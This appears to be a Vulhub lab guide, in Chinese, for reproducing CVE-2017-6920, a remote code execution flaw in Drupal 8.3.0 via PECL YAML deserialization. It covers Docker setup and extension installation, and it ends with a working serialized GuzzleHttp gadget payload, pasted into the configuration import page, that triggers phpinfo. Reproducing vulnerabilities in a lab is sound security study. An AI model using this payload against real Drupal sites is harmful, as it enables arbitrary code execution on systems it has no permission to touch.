Drupal Core 8 PECL YAML 反序列化任意代碼執行漏洞(CVE-2017-6920)
Path drupal/CVE-2017-6920
影響軟件:Drupal
方式:反序列化
參考鏈接:CVE-2017-6920:Drupal遠程代碼執行漏洞分析及POC構造
效果:任意代碼執行
漏洞環境
執行如下命令啟動 drupal 8.3.0 的環境:
dockr-compose up -d
環境啟動后,訪問 http://your-ip:8080/ 將會看到drupal的安裝頁面,一路默認配置下一步安裝。因為沒有mysql環境,所以安裝的時候可以選擇sqlite數據庫。
漏洞復現
先安裝 yaml 擴展
換鏡像源,默認帶vim編輯器,所以用cat換源,可以換成自己喜歡的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
安裝依賴
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
安裝yaml擴展
pecl install yaml
docker-php-ext-enable yaml.so
啟用 yaml.decode_php 否則無法復現成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
退出容器
exit
重啟容器,CONTAINER換成自己的容器ID
docker restart CONTAINER
1.登錄一個管理員賬號
2.訪問 http://127.0.0.1:8080/admin/config/development/configuration/single/import
3.如下圖所示,Configuration type 選擇 Simple configuration,Configuration name 任意填寫,Paste your configuration here 中填寫PoC如下:
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

- 4.點擊
Import后可以看到漏洞觸發成功,彈出phpinfo頁面。

- Tips:
- 雖然官方 CPE 信息顯示從
8.0.0開始就有該漏洞,但是在drupal:8.0.0容器內并沒有復現成功,相同操作在drupal:8.3.0則可以復現成功,故基礎鏡像選擇drupal:8.3.0
- 雖然官方 CPE 信息顯示從
Vulhub 文檔